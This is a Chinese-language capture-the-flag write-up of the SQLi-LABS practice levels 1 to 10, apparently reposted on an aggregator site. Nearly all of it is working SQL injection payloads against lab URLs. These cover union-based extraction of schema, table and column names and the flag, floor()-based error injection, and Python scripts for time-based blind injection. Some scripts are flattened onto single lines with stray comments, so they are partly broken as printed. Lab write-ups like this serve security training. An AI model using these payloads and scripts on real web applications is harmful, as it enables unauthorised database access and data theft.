SQLi-LABS(1~10关详解)
SQLi-LABS Less-1
查看題目環(huán)境
首先可以看到這題傳入id=1后,會(huì)有回顯,顯示出該條記錄
測(cè)試注入點(diǎn)
構(gòu)造payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1'or '1'='1頁(yè)面正?;仫@
payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1'and '1'='2頁(yè)面無數(shù)據(jù)顯示
由此可以判斷出:此處具有Sql注入漏洞
SQL注入
因?yàn)榍懊鏈y(cè)得具有回顯,所以采取union聯(lián)合查詢
流程為
查找列數(shù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1' order by 3 --+–+用于注釋掉sql語(yǔ)句后面的內(nèi)容,最終查出返回的列數(shù)為3列(列數(shù)一個(gè)一個(gè)試,最大的一個(gè)數(shù),且不報(bào)Unknown column ‘*’ in ‘order clause’)
查詢數(shù)據(jù)庫(kù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'這邊id傳入一個(gè)數(shù)據(jù)庫(kù)中沒有的值即可,因?yàn)槿绻菙?shù)據(jù)庫(kù)中存在的值,即會(huì)返回多條記錄,會(huì)顯示前一個(gè)找到的值,而我們想要的將無法顯示。
同時(shí)我們使用GROUP_CONCAT將查詢到的數(shù)據(jù)庫(kù)名拼接顯示
查詢數(shù)據(jù)庫(kù)中的表
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )'查表中的字段
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')'查數(shù)據(jù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)'SQLi-LABS Less-2
查看題目環(huán)境
首先可以看到這題傳入id=1后,會(huì)有回顯,顯示出該條記錄
測(cè)試注入點(diǎn)
構(gòu)造payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1'可以發(fā)現(xiàn)報(bào)錯(cuò)信息如下,我們可以知道是MariaDB數(shù)據(jù)庫(kù)
發(fā)現(xiàn)我們用單引號(hào)閉合是多余的
payload
正常顯示
payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1 and '1'='2'頁(yè)面無數(shù)據(jù)顯示
由此可以判斷出:此處具有Sql注入漏洞
SQL注入
因?yàn)榍懊鏈y(cè)得具有回顯,所以采取union聯(lián)合查詢
流程為
查找列數(shù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1 order by 3 --+–+用于注釋掉sql語(yǔ)句后面的內(nèi)容,最終查出返回的列數(shù)為3列(列數(shù)一個(gè)一個(gè)試,最大的一個(gè)數(shù),且不報(bào)Unknown column ‘*’ in ‘order clause’)
查詢數(shù)據(jù)庫(kù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)這邊id傳入一個(gè)數(shù)據(jù)庫(kù)中沒有的值即可,因?yàn)槿绻菙?shù)據(jù)庫(kù)中存在的值,即會(huì)返回多條記錄,會(huì)顯示前一個(gè)找到的值,而我們想要的將無法顯示。
同時(shí)我們使用GROUP_CONCAT將查詢到的數(shù)據(jù)庫(kù)名拼接顯示
查詢數(shù)據(jù)庫(kù)中的表
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )查表中的字段
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')查數(shù)據(jù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)SQLi-LABS Less-3
查看題目環(huán)境
首先可以看到這題傳入id=1后,會(huì)有回顯,顯示出該條記錄
測(cè)試注入點(diǎn)
構(gòu)造payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1’
可以發(fā)現(xiàn)報(bào)錯(cuò)信息如下,我們可以知道是MariaDB數(shù)據(jù)庫(kù)
發(fā)現(xiàn)我們應(yīng)該用’)閉合
payload
正常顯示
payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1') and '1'='2' --+頁(yè)面無數(shù)據(jù)顯示
由此可以判斷出:此處具有Sql注入漏洞
SQL注入
因?yàn)榍懊鏈y(cè)得具有回顯,所以采取union聯(lián)合查詢
流程為
查找列數(shù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1') order by 3 --+–+用于注釋掉sql語(yǔ)句后面的內(nèi)容,最終查出返回的列數(shù)為3列(列數(shù)一個(gè)一個(gè)試,最大的一個(gè)數(shù),且不報(bào)Unknown column ‘*’ in ‘order clause’)
查詢數(shù)據(jù)庫(kù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) --+這邊id傳入一個(gè)數(shù)據(jù)庫(kù)中沒有的值即可,因?yàn)槿绻菙?shù)據(jù)庫(kù)中存在的值,即會(huì)返回多條記錄,會(huì)顯示前一個(gè)找到的值,而我們想要的將無法顯示。
同時(shí)我們使用GROUP_CONCAT將查詢到的數(shù)據(jù)庫(kù)名拼接顯示
查詢數(shù)據(jù)庫(kù)中的表
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) --+查表中的字段
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') --+查數(shù)據(jù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) --+SQLi-LABS Less-4
查看題目環(huán)境
首先可以看到這題傳入id=1后,會(huì)有回顯,顯示出該條記錄
測(cè)試注入點(diǎn)
構(gòu)造payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1'發(fā)現(xiàn)用單引號(hào)閉合沒有報(bào)錯(cuò)
嘗試使用雙引號(hào),可以發(fā)現(xiàn)報(bào)錯(cuò)信息如下,我們可以知道是MariaDB數(shù)據(jù)庫(kù)
發(fā)現(xiàn)我們應(yīng)該用")閉合
payload
正常顯示
payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1") and '1'='2' --+頁(yè)面無數(shù)據(jù)顯示
由此可以判斷出:此處具有Sql注入漏洞
SQL注入
因?yàn)榍懊鏈y(cè)得具有回顯,所以采取union聯(lián)合查詢
流程為
查找列數(shù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1") order by 3 --+–+用于注釋掉sql語(yǔ)句后面的內(nèi)容,最終查出返回的列數(shù)為3列(列數(shù)一個(gè)一個(gè)試,最大的一個(gè)數(shù),且不報(bào)Unknown column ‘*’ in ‘order clause’)
查詢數(shù)據(jù)庫(kù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) --+這邊id傳入一個(gè)數(shù)據(jù)庫(kù)中沒有的值即可,因?yàn)槿绻菙?shù)據(jù)庫(kù)中存在的值,即會(huì)返回多條記錄,會(huì)顯示前一個(gè)找到的值,而我們想要的將無法顯示。
同時(shí)我們使用GROUP_CONCAT將查詢到的數(shù)據(jù)庫(kù)名拼接顯示
查詢數(shù)據(jù)庫(kù)中的表
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) --+查表中的字段
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') --+查數(shù)據(jù)
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) --+SQLi-LABS Less-5
查看題目環(huán)境
首先可以看到這題傳入id=1后,如果存在id,則會(huì)返回You are in…否則就沒有任何顯示
測(cè)試注入點(diǎn)
構(gòu)造payload
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1'有報(bào)錯(cuò)信息如下
由于沒有頁(yè)面沒有數(shù)據(jù)顯示,所以無法使用Union聯(lián)合查詢,嘗試報(bào)錯(cuò)注入
SQL注入
因?yàn)榍懊鏈y(cè)得沒有回顯數(shù)據(jù),所以采取報(bào)錯(cuò)注入
報(bào)錯(cuò)注入:
(1). 通過floor報(bào)錯(cuò)
其中payload為你要插入的SQL語(yǔ)句
需要注意的是該語(yǔ)句將 輸出字符長(zhǎng)度限制為64個(gè)字符
(2). 通過updatexml報(bào)錯(cuò)
同樣該語(yǔ)句對(duì)輸出的字符長(zhǎng)度也做了限制,其最長(zhǎng)輸出32位
并且該語(yǔ)句對(duì)payload的反悔類型也做了限制,只有在payload返回的不是xml格式才會(huì)生效
(3). 通過ExtractValue報(bào)錯(cuò)
我比較喜歡用的是floor報(bào)錯(cuò)注入,因?yàn)槟芊祷氐淖址L(zhǎng)度最長(zhǎng)
流程為
查詢數(shù)據(jù)庫(kù)
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+通過報(bào)錯(cuò)注入,因?yàn)樗袛?shù)據(jù)庫(kù)拼接的長(zhǎng)度大于了64個(gè)字符,所以使用limit 一個(gè)一個(gè)數(shù)據(jù)庫(kù)查
查詢數(shù)據(jù)庫(kù)中的表
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+查表中的字段
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+查數(shù)據(jù)
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+SQLi-LABS Less-6
查看題目環(huán)境
首先可以看到這題傳入id=1后,如果存在id,則會(huì)返回You are in…否則就沒有任何顯示
測(cè)試注入點(diǎn)
構(gòu)造payload
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1'正常顯示
構(gòu)造payload
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1"
有報(bào)錯(cuò)信息如下
由于沒有頁(yè)面沒有數(shù)據(jù)顯示,所以無法使用Union聯(lián)合查詢,嘗試報(bào)錯(cuò)注入
SQL注入
因?yàn)榍懊鏈y(cè)得沒有回顯數(shù)據(jù),所以采取報(bào)錯(cuò)注入
報(bào)錯(cuò)注入:
(1). 通過floor報(bào)錯(cuò)
其中payload為你要插入的SQL語(yǔ)句
需要注意的是該語(yǔ)句將 輸出字符長(zhǎng)度限制為64個(gè)字符
(2). 通過updatexml報(bào)錯(cuò)
同樣該語(yǔ)句對(duì)輸出的字符長(zhǎng)度也做了限制,其最長(zhǎng)輸出32位
并且該語(yǔ)句對(duì)payload的反悔類型也做了限制,只有在payload返回的不是xml格式才會(huì)生效
(3). 通過ExtractValue報(bào)錯(cuò)
我比較喜歡用的是floor報(bào)錯(cuò)注入,因?yàn)槟芊祷氐淖址L(zhǎng)度最長(zhǎng)
流程為
查詢數(shù)據(jù)庫(kù)
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+通過報(bào)錯(cuò)注入,因?yàn)樗袛?shù)據(jù)庫(kù)拼接的長(zhǎng)度大于了64個(gè)字符,所以使用limit 一個(gè)一個(gè)數(shù)據(jù)庫(kù)查
查詢數(shù)據(jù)庫(kù)中的表
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+查表中的字段
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+查數(shù)據(jù)
http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+SQLi-LABS Less-7
查看題目環(huán)境
首先可以看到這題傳入id=1后,如果存在id,則會(huì)返回You are in…Use outfile…
輸入不存在的id,或者嘗試sql注入都不會(huì)顯示具體報(bào)錯(cuò)信息
所以聯(lián)合查詢和報(bào)錯(cuò)注入都失效了
測(cè)試注入點(diǎn)
構(gòu)造payload
http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1'))正常顯示
SQL注入
首先,由題目環(huán)境觀察可知,聯(lián)合查詢和報(bào)錯(cuò)注入都用不了,但是這邊又可以執(zhí)行我們輸入的東西,所以我是用的時(shí)間盲注。
查詢列數(shù)
http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) order by 3 --+時(shí)間盲注腳本
使用腳本的sleep函數(shù)時(shí)間自行控制,因?yàn)椴煌?wù)器的響應(yīng)時(shí)間不同,sleep時(shí)間越久,越準(zhǔn)確。因?yàn)槿魋leep時(shí)間短了,有可能因?yàn)楸旧矸?wù)器響應(yīng)較慢導(dǎo)致爆破出來的值錯(cuò)誤
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" while True:for i in table:ss = time.time()data = {'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),}#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['datebase']+")--+" #查找數(shù)據(jù)庫(kù)#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['table']+")--+" #查表名#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['column']+")--+" #查字段名url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['flag']+")--+" #查數(shù)據(jù)t=requests.get(url)if time.time()-ss>=4:flag += iprint (flag) breakSQLi-LABS Less-8
查看題目環(huán)境
首先可以看到這題傳入id=1后,如果存在id,則會(huì)返回You are in…否則就沒有任何顯示
測(cè)試注入點(diǎn)
構(gòu)造payload
http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1'沒有回顯
構(gòu)造payload
成功閉合
SQL注入
我這邊使用SQL盲注得到flag
主要是讓他執(zhí)行查詢,然后將查到的值與我們的table比較,若相等則調(diào)用SLEEP函數(shù),通過判斷響應(yīng)時(shí)間,爆破出數(shù)據(jù)庫(kù)內(nèi)容
查詢列數(shù)
http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1' order by 3 --+時(shí)間盲注腳本
使用腳本的sleep函數(shù)時(shí)間自行控制,因?yàn)椴煌?wù)器的響應(yīng)時(shí)間不同,sleep時(shí)間越久,越準(zhǔn)確。因?yàn)槿魋leep時(shí)間短了,有可能因?yàn)楸旧矸?wù)器響應(yīng)較慢導(dǎo)致爆破出來的值錯(cuò)誤
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" while True:for i in table:ss = time.time()data = {'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),}#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['datebase']+")--+" 查找數(shù)據(jù)庫(kù)#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['table']+")--+" 查表名#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['column']+")--+" 查字段名url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['flag']+")--+" #查數(shù)據(jù)t=requests.get(url)if time.time()-ss>=4:flag += iprint (flag) breakSQLi-LABS Less-9
查看題目環(huán)境
首先可以看到這題id無論傳入什么,都會(huì)顯示這個(gè)頁(yè)面
測(cè)試注入點(diǎn)
因?yàn)闆]有任何有意義的回顯,所以一般就是時(shí)間盲注了,但是由于不知道他的sql語(yǔ)句是怎么樣的,所以寫個(gè)腳本測(cè)試下如何去閉合前面內(nèi)容
import requests import time ss = time.time() url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1'%20and%20sleep(5)--+" t=requests.get(url) if time.time()-ss>=4:print("is Time")SQL注入
時(shí)間盲注腳本
使用腳本的sleep函數(shù)時(shí)間自行控制,因?yàn)椴煌?wù)器的響應(yīng)時(shí)間不同,sleep時(shí)間越久,越準(zhǔn)確。因?yàn)槿魋leep時(shí)間短了,有可能因?yàn)楸旧矸?wù)器響應(yīng)較慢導(dǎo)致爆破出來的值錯(cuò)誤
import requests import time flag = '' #table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" n=1 while True:for i in range(128):ss = time.time()data = {'datebase':"SELECT schema_name FROM information_schema.schemata limit 0,1",'table':'SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1','column':'SELECT column_name FROM information_schema.columns WHERE table_name = "flag"','flag':'SELECT flag FROM ctftraining.flag limit 0,1'}#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['datebase']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" #查找數(shù)據(jù)庫(kù)#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['table']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" 查表名#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['column']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" 查字段名url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['flag']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" #查數(shù)據(jù)t=requests.get(url)if time.time()-ss>=4:n=n+1flag += chr(i)print (flag)breakSQLi-LABS Less-10
查看題目環(huán)境
首先可以看到這題id無論傳入什么,都會(huì)顯示這個(gè)頁(yè)面
測(cè)試注入點(diǎn)
因?yàn)闆]有任何有意義的回顯,所以一般就是時(shí)間盲注了,但是由于不知道他的sql語(yǔ)句是怎么樣的,所以寫個(gè)腳本測(cè)試下如何去閉合前面內(nèi)容
import requests import time ss = time.time() url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22%20and%20sleep(5)--+" t=requests.get(url) if time.time()-ss>=4:print("is Time")發(fā)現(xiàn)用雙引號(hào)成功閉合
SQL注入
時(shí)間盲注腳本
使用腳本的sleep函數(shù)時(shí)間自行控制,因?yàn)椴煌?wù)器的響應(yīng)時(shí)間不同,sleep時(shí)間越久,越準(zhǔn)確。因?yàn)槿魋leep時(shí)間短了,有可能因?yàn)楸旧矸?wù)器響應(yīng)較慢導(dǎo)致爆破出來的值錯(cuò)誤
import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" while True:for i in table:ss = time.time()data = {'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),}#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['datebase']+" --+" #查找數(shù)據(jù)庫(kù)#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['table']+"--+" #查表名#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['column']+"--+" #查字段名url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['flag']+"--+" #查數(shù)據(jù)t=requests.get(url)if time.time()-ss>=4:flag += iprint (flag)break總結(jié)
以上是生活随笔為你收集整理的SQLi-LABS(1~10关详解)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: De1CTF-2019部分wp
- 下一篇: SQLi-LABS(11~20关详解)